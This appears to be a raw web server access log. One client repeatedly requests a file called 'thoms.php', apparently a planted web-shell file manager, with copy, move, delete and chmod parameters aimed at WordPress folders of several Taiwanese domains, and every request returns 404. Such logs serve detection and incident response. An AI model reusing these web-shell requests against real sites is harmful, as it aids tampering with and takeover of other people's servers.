45.135.193.11 - - [11/Sep/2026:23:53:16 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:16 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=besth2o.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:16 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:16 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=besth2o.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=besth2o.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:16 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:16 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:16 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:16 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:17 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:17 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw%2Fpartial-temp HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw%2Fpartial-temp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:17 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:17 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:17 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=bodbooks.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=bodbooks.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:17 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw%2Fgenerated-history HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bodbooks.com.tw%2Fgenerated-history" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:17 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:17 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=broadweb.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=broadweb.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:17 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:17 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:17 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:17 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw%2Fworker-profile HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw%2Fworker-profile" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:17 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:17 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:17 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw%2Fbridge-sample HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw%2Fbridge-sample" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:17 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=broadweb.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:18 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:18 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:18 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=wordpress-6.6.2-zh_TW" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:18 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:18 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=wordpress-6.6.2-zh_TW%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:18 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:18 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=ba-guo.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=ba-guo.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:18 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:18 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:18 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw%2Fweb-filter HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw%2Fweb-filter" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:18 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:18 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw%2Fsetting-checkpoint" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:18 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:18 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:18 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=ba-guo.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:18 -0400] "GET /besth2o.com-20260912023731/ HTTP/1.1" 404 6834 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?del=besth2o.com-20260912023731&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?del=besth2o.com-20260912023731&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?copy=besth2o.com-20260912023731&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com-20260912023731&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?p=besth2o.com-20260912023731 HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?p=besth2o.com-20260912023731" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?chmod=besth2o.com-20260912023731&p= HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?chmod=besth2o.com-20260912023731&p=" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=bestjudy.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=bestjudy.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw%2Fsite-settings HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw%2Fsite-settings" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw%2Fstatic-plugins HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw%2Fstatic-plugins" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=bestjudy.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=betcity.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=betcity.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:19 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=betcity.com.tw%2Fschema-shared HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=betcity.com.tw%2Fschema-shared" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=betcity.com.tw%2Fwp-admin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=betcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=betcity.com.tw%2Fwp-includes HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=betcity.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=betcity.com.tw%2Fcgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=betcity.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=betcity.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=betcity.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=betcity.com.tw%2F.well-known HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=betcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=betcity.com.tw%2Fdeprecated-complete HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=betcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=besth2o.com.tw&p=betcity.com.tw%2Fupgrade HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&p=betcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=cgi-bin HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=besth2o.com.tw&finish=1&move=1&p=cgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=betcity.com.tw&finish=1&move=1&p=bestzyx.com.tw HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&finish=1&move=1&p=bestzyx.com.tw" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw%2Foptimized-validator HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw%2Foptimized-validator" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw%2Fwp-content HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:53:20 -0400] "GET /thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw%2Froster-vendor HTTP/1.1" 404 1251 "http://163.245.207.76:443/thoms.php?copy=betcity.com.tw&p=bestzyx.com.tw%2Froster-vendor" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
